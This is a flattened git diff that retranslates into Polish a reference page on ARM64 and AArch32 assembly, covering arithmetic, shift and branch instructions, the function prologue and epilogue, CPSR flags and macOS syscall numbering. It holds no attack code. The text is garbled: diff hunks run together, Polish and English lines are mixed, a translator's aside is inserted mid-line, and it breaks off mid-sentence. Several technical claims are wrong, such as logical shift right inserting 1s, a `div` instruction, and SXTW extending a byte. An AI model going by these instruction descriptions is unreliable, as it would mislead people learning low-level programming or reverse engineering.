-> 1 0000 0000 0000 0000 +- Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowa) +- \[shift #N | RRX] -> Wykonaj przesunięcie lub użyj RRX +- Przykład: `add x0, x1, x2` — Dodaje wartości w `x1` i `x2` i zapisuje wynik w `x0`. +- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000 - **`adds`** To wykonuje `add` i aktualizuje flagi -- **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze. -- Sprawdź **`add`** **składnię**. -- Przykład: `sub x0, x1, x2` — To odejmuje wartość w `x2` od `x1` i przechowuje wynik w `x0`. -- **`subs`** To jest jak sub, ale aktualizuje flagę -- **`mul`**: **Pomnóż** wartości **dwóch rejestrów** i przechowaj wynik w rejestrze. -- Przykład: `mul x0, x1, x2` — To mnoży wartości w `x1` i `x2` i przechowuje wynik w `x0`. -- **`div`**: **Podziel** wartość jednego rejestru przez inny i przechowaj wynik w rejestrze. -- Przykład: `div x0, x1, x2` — To dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`. +- **`sub`**: **Odejmij** wartości dwóch rejestrów i zapisz wynik w rejestrze. +- Sprawdź **składnię `add`**. +- Przykład: `sub x0, x1, x2` — Odejmuje wartość w `x2` od `x1` i zapisuje wynik w `x0`. +- **`subs`** To jak `sub` ale aktualizuje flagi +- **`mul`**: **Mnożenie** wartości dwóch rejestrów i zapisanie wyniku w rejestrze. +- Przykład: `mul x0, x1, x2` — Mnoży wartości w `x1` i `x2` i zapisuje wynik w `x0`. +- **`div`**: **Dzielenie** wartości jednego rejestru przez inny i zapisanie wyniku w rejestrze. +- Przykład: `div x0, x1, x2` — Dzieli wartość w `x1` przez `x2` i zapisuje wynik w `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Logiczne przesunięcie w lewo**: Dodaj 0 z końca, przesuwając inne bity do przodu (mnożenie przez n razy 2) -- **Logiczne przesunięcie w prawo**: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w bez znaku) -- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (dzielenie przez n razy 2 w ze znakiem) -- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej jest dodawane do lewej -- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia. -- **`bfm`**: **Przesunięcie Bitowe**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję najbardziej lewego bitu**, a **`#r`** ilość przesunięcia w prawo. -- Przesunięcie bitowe: `BFM Xd, Xn, #r` -- Przesunięcie bitowe ze znakiem: `SBFM Xd, Xn, #r, #s` -- Przesunięcie bitowe bez znaku: `UBFM Xd, Xn, #r, #s` -- **Ekstrakcja i Wstawianie Bitów:** Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru. -- **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 z 3. bitu X1 -- **`BFXIL X1, X2, #3, #4`** Ekstrahuje z 3. bitu X2 cztery bity i kopiuje je do X1 -- **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity -- **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2, rozszerza je ze znakiem i umieszcza wynik w X1 -- **`UBFIZ X1, X2, #3, #4`** Rozszerza 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity -- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza rozszerzony wynik w X1. -- **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią: +- **Logical shift left**: Dodaje 0 z końca przesuwając inne bity do przodu (mnożenie przez 2^n) +- **Logical shift right**: Dodaje 1 na początku przesuwając bity do tyłu (dzielenie przez 2^n dla wartości bez znaku) +- **Arithmetic shift right**: Jak **`lsr`**, ale zamiast dodawać 0, jeśli najbardziej znaczący bit jest 1, dodaje 1 (dzielenie przez 2^n dla wartości ze znakiem) +- **Rotate right**: Jak **`lsr`** ale to, co jest usunięte z prawej, jest doklejane z lewej +- **Rotate Right with Extend**: Jak **`ror`**, ale używa flagi carry jako "najbardziej znaczącego bitu". Zatem flaga carry jest przenoszona na bit 31, a usunięty bit trafia do flagi carry. +- **`bfm`**: **Bit Field Move**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję lewej granicy bitu**, a **`#r`** ilość rotacji w prawo. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru. +- **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 od 3. bitu do X1 +- **`BFXIL X1, X2, #3, #4`** Wyciąga od 3. bitu z X2 cztery bity i kopiuje je do X1 +- **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1 zaczynając od pozycji bitowej 3, zerując bity po prawej +- **`SBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znak i umieszcza wynik w X1 +- **`UBFIZ X1, X2, #3, #4`** Zerowo rozszerza 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitowej 3, zerując bity po prawej +- **`UBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2 i umieszcza zerowo rozszerzony wynik w X1. +- **Sign Extend To X:** Rozszerza znak (lub dodaje same 0 w wersji bez znaku) wartości, aby można było wykonywać operacje: - **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) aby wypełnić 64 bity -- **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** aby wypełnić 64 bity -- **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity +- **`SXTH X1, W2`** Rozszerza znak 16-bitowej liczby **z W2 do X1** aby wypełnić 64 bity +- **`SXTW X1, W2`** Rozszerza znak **z W2 do X1** aby wypełnić 64 bity - **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity -- **`extr`:** Ekstrahuje bity z określonej **pary rejestrów połączonych**. -- Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i uzyska **od bitu 3 W2 do bitu 3 W1** i przechowa to w W3. -- **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. To jest **alias `subs`** ustawiający rejestr docelowy na rejestr zerowy. Przydatne do sprawdzenia, czy `m == n`. +- **`extr`:** Wyciąga bity z określonej **pary rejestrów połączonych razem**. +- Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i pobierze **od bitu 3 W2 do bitu 3 W1** i zapisze w W3. +- **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. Jest to **alias `subs`** ustawiający rejestr docelowy na rejestr zero. Przydatne, aby sprawdzić czy `m == n`. - Obsługuje **tę samą składnię co `subs`** -- Przykład: `cmp x0, x1` — To porównuje wartości w `x0` i `x1` i ustawia flagi warunkowe odpowiednio. -- **`cmn`**: **Porównaj operand ujemny**. W tym przypadku to jest **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`. -- **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv. +- Przykład: `cmp x0, x1` — Porównuje wartości w `x0` i `x1` i ustawia odpowiednio flagi warunkowe. +- **`cmn`**: **Porównanie z negatywem** operandu. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne, aby sprawdzić czy `m == -n`. +- **`ccmp`**: Warunkowe porównanie, to porównanie które zostanie wykonane tylko jeśli poprzednie porównanie było prawdziwe i specyficznie ustawi bity nzcv. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do func -- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni porównania `blt`). -- Może być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` w porównaniu do `cmn`). -- **`tst`**: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1. -- Przykład: `tst X1, #7` Sprawdza, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1 -- **`teq`**: Operacja XOR, ignorując wynik -- **`b`**: Bezwarunkowy skok +- To dlatego, że **`ccmp`** zostanie wykonane tylko jeśli **poprzedni `cmp` był `NE`**, jeśli nie był to bity `nzcv` zostaną ustawione na 0 (co nie spełni porównania `blt`). +- To może też być użyte jako `ccmn` (to samo ale negatywne, jak `cmp` vs `cmn`). +- **`tst`**: Sprawdza czy dowolne z wartości porównania mają oba bity ustawione na 1 (działa jak ANDS bez zapisywania wyniku). Przydatne do sprawdzenia rejestru pod kątem pewnych bitów. +- Przykład: `tst X1, #7` Sprawdza czy dowolny z ostatnich 3 bitów X1 jest 1 +- **`teq`**: Operacja XOR odrzucająca wynik +- **`b`**: Bezwarunkowy Branch - Przykład: `b myFunction` -- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić) -- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotny w `x30`**. -- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotny w `x30`. -- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić) -- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotny w `x30`. (To jest -- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotny w `x30`. -- **`ret`**: **Powrót** z **podprogramu**, zazwyczaj używając adresu w **`x30`**. -- Przykład: `ret` — To wraca z aktualnego podprogramu, używając adresu zwrotnego w `x30`. -- **`b.`**: Skoki warunkowe -- **`b.eq`**: **Skok, jeśli równe**, na podstawie poprzedniej instrukcji `cmp`. -- Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`. -- **`b.ne`**: **Skok, jeśli nie równe**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu. -- Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`. -- **`cbz`**: **Porównaj i skocz, jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu. -- Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, to skacze do `label`. -- **`cbnz`**: **Porównaj i skocz, jeśli nie zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli nie są równe, skacze do etykiety lub adresu. -- Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest różna od zera, to skacze do `label`. -- **`tbnz`**: Testuj bit i skocz, jeśli niezerowy +- Zauważ, że to nie zapisze adresu powrotu w link register (nie nadaje się do wywołań podprogramów, które muszą wrócić) +- **`bl`**: **Branch** z linkiem, używane do **wywołania** **podprogramu**. Zapisuje **adres powrotu w `x30`**. +- Przykład: `bl myFunction` — Wywołuje funkcję `myFunction` i zapisuje adres powrotu w `x30`. +- Uwaga: to nie wypełni link register adresem powrotu (nieodpowiednie dla podprogramów wymagających powrotu) [uwaga: oryginalny tekst zawierał sprzeczne powtórzenie — zachowano sens]. +- **`blr`**: **Branch** z linkiem do rejestru, używane do **wywołania** podprogramu, gdzie cel jest **określony** w **rejestrze**. Zapisuje adres powrotu w `x30`. +- Przykład: `blr x1` — Wywołuje funkcję, której adres jest w `x1` i zapisuje adres powrotu w `x30`. +- **`ret`**: **Powrót** z podprogramu, zazwyczaj używając adresu w **`x30`**. +- Przykład: `ret` — Powrót z bieżącego podprogramu używając adresu powrotu w `x30`. +- **`b.`**: Warunkowe skoki +- **`b.eq`**: **Skocz jeśli równe**, na podstawie poprzedniej instrukcji `cmp`. +- Przykład: `b.eq label` — Jeśli poprzednie `cmp` stwierdziło równość, skocz do `label`. +- **`b.ne`**: **Skocz jeśli nierówne**. Instrukcja sprawdza flagi warunkowe (ustawione przez poprzednie porównanie) i jeśli wartości nie były równe, wykonuje skok. +- Przykład: Po `cmp x0, x1` instrukcja `b.ne label` — Jeśli wartości w `x0` i `x1` były różne, skocz do `label`. +- **`cbz`**: **Compare and Branch on Zero**. Instrukcja porównuje rejestr z zerem, i jeśli są równe, wykonuje skok. +- Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, skocz do `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Instrukcja porównuje rejestr z zerem, i jeśli są różne, wykonuje skok. +- Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest różna od zera, skocz do `label`. +- **`tbnz`**: Test bitu i skok jeśli niezerowy - Przykład: `tbnz x0, #8, label` -- **`tbz`**: Testuj bit i skocz, jeśli zero +- **`tbz`**: Test bitu i skok jeśli zerowy - Przykład: `tbz x0, #8, label` -- **Operacje wyboru warunkowego**: To są operacje, których zachowanie zmienia się w zależności od bitów warunkowych. +- **Operacje wyboru warunkowego**: To operacje, których zachowanie zależy od bitów warunkowych. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2 - `csinc Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1 - `cinc Xd, Xn, cond` -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn @@ -207,51 +210,51 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o - `csneg Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = - Xm - `cneg Xd, Xn, cond` -> Jeśli prawda, Xd = - Xn, jeśli fałsz, Xd = Xn - `cset Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = 1, jeśli fałsz, Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \, jeśli fałsz, Xd = 0 -- **`adrp`**: Oblicz **adres strony symbolu** i przechowaj go w rejestrze. -- Przykład: `adrp x0, symbol` — To oblicza adres strony symbolu i przechowuje go w `x0`. -- **`ldrsw`**: **Załaduj** podpisaną **32-bitową** wartość z pamięci i **rozszerz ją do 64** bitów. -- Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną 32-bitową wartość z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`. -- **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając offsetu z innego rejestru. -- Przykład: `stur x0, [x1, #4]` — To zapisuje wartość w `x0` do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w `x1`. -- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przechodzi z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**. +- `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \, jeśli fałsz, Xd = 0 +- **`adrp`**: Oblicza **adres strony symbolu** i zapisuje go w rejestrze. +- Przykład: `adrp x0, symbol` — Oblicza adres strony symbolu `symbol` i zapisuje go w `x0`. +- **`ldrsw`**: **Załaduj** 32-bitową liczbę ze znakiem z pamięci i **rozszerz ją znakiem do 64** bitów. +- Przykład: `ldrsw x0, [x1]` — Ładuje 32-bitową liczbę ze znakiem z adresu w `x1`, rozszerza do 64-bitów i zapisuje w `x0`. +- **`stur`**: **Zapisz wartość rejestru do pamięci**, używając offsetu od innego rejestru. +- Przykład: `stur x0, [x1, #4]` — Zapisuje wartość z `x0` do adresu pamięci będącego o 4 bajty większym niż adres w `x1`. +- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Supervisor Call". Gdy procesor wykona tę instrukcję, **przełącza się z trybu użytkownika do trybu jądra** i skacze do określonego miejsca w pamięci, gdzie znajduje się kod obsługi wywołań systemowych jądra. - Przykład: ```armasm -mov x8, 93 ; Załaduj numer wywołania systemowego dla zakończenia (93) do rejestru x8. -mov x0, 0 ; Załaduj kod statusu zakończenia (0) do rejestru x0. -svc 0 ; Wykonaj wywołanie systemowe. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Prolog Funkcji** +### **Prolog funkcji** -1. **Zapisz rejestr łączenia i wskaźnik ramki na stosie**: +1. **Zapisz link register i frame pointer na stosie**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Ustaw nowy wskaźnik ramki**: `mov x29, sp` (ustawia nowy wskaźnik ramki dla bieżącej funkcji) -3. **Przydziel miejsce na stosie dla zmiennych lokalnych** (jeśli to konieczne): `sub sp, sp, ` (gdzie `` to liczba bajtów potrzebnych) +2. **Ustaw nowy wskaźnik ramki**: `mov x29, sp` (ustawia nowy wskaźnik ramki dla bieżącej funkcji) +3. **Zarezerwuj miejsce na stosie dla zmiennych lokalnych** (jeśli potrzebne): `sub sp, sp, ` (gdzie `` to liczba potrzebnych bajtów) ### **Epilog funkcji** -1. **Zwolnij zmienne lokalne (jeśli jakieś zostały przydzielone)**: `add sp, sp, ` -2. **Przywróć rejestr linki i wskaźnik ramki**: +1. **Zwolnij miejsce dla zmiennych lokalnych (jeśli zostały zarezerwowane)**: `add sp, sp, ` +2. **Przywróć rejestr linku i wskaźnik ramki**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linku) +3. **Powrót**: `ret` (zwraca kontrolę wywołującemu, używając adresu w rejestrze powrotu) -## Stan Wykonania AARCH32 +## AARCH32 Stan wykonywania -Armv8-A wspiera wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi za pomocą **`interworking`**.\ -**Privileged** programy 64-bitowe mogą planować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.\ -Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR**.** +Armv8-A wspiera wykonywanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi poprzez **`interworking`**.\ +**Privileged** 64-bitowe programy mogą zaplanować **wykonywanie programów 32-bitowych** przez wykonanie transferu poziomu wyjątków do niżej uprzywilejowanego środowiska 32-bitowego.\ +Zauważ, że przejście z 64-bit do 32-bit następuje przy niższym poziomie wyjątków (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Odbywa się to przez ustawienie **bitu 4 w** specjalnym rejestrze **`SPSR_ELx``** **na 1** kiedy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje CPSR programu **`AArch32`**. Następnie uprzywilejowany proces wywołuje instrukcję **`ERET`**, dzięki czemu procesor przechodzi do **`AArch32`** wchodząc w A32 lub T32 w zależności od CPSR**.** -**`interworking`** zachodzi przy użyciu bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. To zasadniczo oznacza ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\ -Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawiane bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład: +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\ +This is set during the **interworking branch instructions,** but can also be set directly with other instructions when the PC is set as the destination register. Example: -Inny przykład: +Another example: ```armasm _start: .code 32 ; Begin using A32 @@ -264,60 +267,60 @@ mov r0, #8 ``` ### Rejestry -Istnieje 16 rejestrów 32-bitowych (r0-r15). **Od r0 do r14** mogą być używane do **dowolnej operacji**, jednak niektóre z nich są zazwyczaj zarezerwowane: +Istnieje 16 32-bitowych rejestrów (r0-r15). **Od r0 do r14** mogą być używane do **dowolnych operacji**, jednak niektóre z nich są zwykle zarezerwowane: -- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 obecny + 8, w T32, obecny + 4. -- **`r11`**: Wskaźnik ramki -- **`r12`**: Rejestr wywołań wewnątrzproceduralnych -- **`r13`**: Wskaźnik stosu -- **`r14`**: Rejestr łączenia +- **`r15`**: Program counter (zawsze). Zawiera adres następnej instrukcji. W A32 current + 8, w T32 current + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Uwaga: stos jest zawsze wyrównany do 16 bajtów) +- **`r14`**: Link Register -Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, co pozwala na **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\ -Dzieje się to poprzez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego wyjątek jest zgłaszany. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**. +Co więcej, rejestry są zapisywane w **`banked registries`**. Są to miejsca przechowujące wartości rejestrów umożliwiające **szybkie przełączanie kontekstu** podczas obsługi wyjątków i operacji uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\ +Odbywa się to przez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego nastąpił wyjątek. Przy powrocie z wyjątku **`CPSR`** jest przywracany z **`SPSR`**. -### CPSR - Rejestr Statusu Programu +### CPSR - Current Program Status Register -W AArch32 CPSR działa podobnie do **`PSTATE`** w AArch64 i jest również przechowywany w **`SPSR_ELx`**, gdy wyjątek jest zgłaszany, aby później przywrócić wykonanie: +W AArch32 CPSR działa podobnie do **`PSTATE`** w AArch64 i jest również zapisywany w **`SPSR_ELx`** gdy wystąpi wyjątek, aby później przywrócić wykonanie:
Pola są podzielone na kilka grup: -- Rejestr Statusu Programu Aplikacji (APSR): Flagi arytmetyczne i dostępne z EL0 -- Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny). +- Application Program Status Register (APSR): Flagi arytmetyczne i dostępne z poziomu EL0 +- Execution State Registers: Zachowanie procesu (zarządzane przez OS). -#### Rejestr Statusu Programu Aplikacji (APSR) +#### Application Program Status Register (APSR) - Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64) -- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej z nasyceniem. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób niejawny, musi to być zrobione przez odczytanie jej ręcznie. -- Flagi **`GE`** (Większe lub równe): Używane w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji. +- Flaga **`Q`**: Ustawiana na 1 zawsze, gdy podczas wykonania wystąpi **saturacja całkowitoliczbowa** w trakcie wykonywania specjalizowanej instrukcji arytmetycznej ze saturacją. Gdy zostanie ustawiona na **`1`**, zachowa tę wartość aż do ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdza jej wartość w sposób implicytny — trzeba ją odczytać ręcznie. +- Flagi **`GE`** (Greater than or equal): Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak „parallel add” i „parallel subtract”. Te operacje pozwalają przetwarzać wiele punktów danych w ramach jednej instrukcji. -Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło się**. +Na przykład instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i zapisuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** w oparciu o te wyniki. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło**. -Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania warunkowych działań. +Instrukcja **`SEL`** używa tych flag GE do wykonywania warunkowych operacji. -#### Rejestry Stanu Wykonania +#### Execution State Registers -- Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32. -- Rejestr Stanu Bloku IT (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**. -- Bit **`E`**: Wskazuje na **endianness**. -- Bity Mody i Maski Wyjątków (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek zostanie wywołany podczas jego obsługi. +- Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0 używany jest zestaw instrukcji A32, a jeśli jest 1, używany jest T32. +- Rejestr stanu bloku IT (`ITSTATE`): To bity z zakresu 10-15 i 25-26. Przechowują warunki dla instrukcji wewnątrz grupy poprzedzonej prefiksem **`IT`**. +- Bit **`E`**: Wskazuje **endianness**. +- Bity trybu i maski wyjątków (0-4): Określają aktualny stan wykonania. Piąty z nich wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują aktualnie używany tryb wyjątków (gdy wystąpi wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje bieżący priorytet** w przypadku, gdy podczas obsługi tego wyjątku wystąpi inny wyjątek.
-- **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** jest 1, oznacza to, że **asynchroniczne przerwania** będą wywoływane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związane z **szybkimi żądaniami przerwań** (FIR). +- **`AIF`**: Niektóre wyjątki można wyłączyć za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** jest 1, oznacza to, że będą wywoływane **asynchronous aborts**. **`I`** konfiguruje reagowanie na zewnętrzne żądania przerwań sprzętowych (Interrupt Requests, IRQs). `F` odnosi się do **Fast Interrupt Requests** (FIRs). ## macOS -### Wywołania systemowe BSD +### BSD syscalls -Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Wywołania systemowe BSD będą miały **x16 > 0**. +Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) lub uruchom `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls będą miały **x16 > 0**. -### Pułapki Mach +### Mach Traps -Sprawdź w [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) tabelę `mach_trap_table` oraz w [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypy. Maksymalna liczba pułapek Mach to `MACH_TRAP_TABLE_COUNT` = 128. Pułapki Mach będą miały **x16 < 0**, więc musisz wywołać numery z poprzedniej listy z **minusem**: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**. +Zobacz w 